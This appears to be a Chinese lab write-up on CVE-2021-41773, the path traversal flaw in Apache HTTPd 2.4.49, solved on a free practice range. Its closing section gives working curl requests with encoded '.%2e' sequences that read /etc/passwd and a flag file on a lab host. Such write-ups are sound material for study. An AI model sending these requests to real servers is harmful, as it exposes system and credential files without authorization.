简介

靶场搭建:春秋云境免费靶场

CVE-2021-41773:
Apache HTTPd 2.4.49 路径穿越与命令执行漏洞。
2021年10月5日,Apache发布更新公告,修复了Apache HTTP Server 2.4.49中的一个路径遍历和文件泄露漏洞(CVE-2021-41773)。 攻击者可以通过路径遍历攻击将 URL 映射到预期文档根目录之外的文件,如果文档根目录之外的文件不受“require all denied” 访问控制参数的保护,则这些恶意请求就会成功。除此之外,该漏洞还可能会导致泄漏 CGI 脚本等解释文件的来源。

详解

路径穿越

是一种常见的漏洞攻击类型,也被称为目录遍历攻击或目录穿越攻击。路径穿越攻击利用了Web应用程序对用户输入的不充分验证和过滤,使得攻击者可以访问文件系统中的敏感文件或目录。攻击者通过构造恶意的输入,试图访问应用程序外部的文件或目录,甚至可能获取到包含敏感信息的配置文件、密码文件等。

漏洞条件

如上文所述,如果配置文件配置如下参数,则可以访问web根目录以外的目录和文件。

<Directory />Require all granted</Directory>

且同时配置CGI
在Apache Web服务器中,cgi-bin 是一个常用的目录,用于存放 CGI(Common Gateway Interface)脚本文件。CGI是一种标准化的协议,允许Web服务器与外部程序进行通信,以生成动态的网页内容。
当用户请求一个位于 cgi-bin 目录下的文件时,Apache会将请求传递给相应的CGI脚本,并将其执行。

漏洞利用1

因为代码漏洞,在未url解码就过滤请求路径中的../,所以可以利用对.url编码进行绕过。

利用curl请求:

curl http://39.106.48.123:43714/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

flag

利用curl请求:

curl http://39.106.48.123:43714/cgi-bin/.%2e/.%2e/.%2e/.%2e/flag